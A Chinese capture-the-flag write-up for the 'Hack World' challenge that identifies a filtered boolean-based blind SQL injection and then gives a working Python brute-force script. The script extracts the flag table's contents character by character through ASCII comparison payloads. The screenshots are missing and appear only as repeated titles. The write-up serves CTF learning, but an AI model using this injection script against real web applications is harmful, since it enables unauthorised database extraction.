天天看点

BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

先尝试输入一个1

BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World

再尝试猜测闭合。

先尝试单引号

BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World

做个小总结,首先根据回显可以判断是布尔类型注入,并且有过滤。

于是利用burp进行fuzz测试看看过滤了哪些关键字。

BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World

(472是没有被过滤的)

于是根据布尔类型的注入有了一个想法,将flag表里的东西一个字符一个字符的根据ASCII值判断出来,根据bool回显判断对错。

爆破脚本:

import requests

#地址
url = "http://2a876d2c-e3db-43b4-9417-de01f34ec606.node3.buuoj.cn/index.php"

result = ""
num = 0
for i in range(1,60):
    if num == 1:
        break

    for j in range(32,128):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j)
        print(str((i - 1) * 96 + j - 32) + ":~" + payload + "~")

        data = {
            "id": payload,
        }

        r = requests.post(url, data=data)

        r.encoding = r.apparent_encoding

        if "Hello" in r.text:
            x = chr(j)
            result += str(x)
            print(result)
            break

        if "}" in result:
            print(result)
            num = 1
            break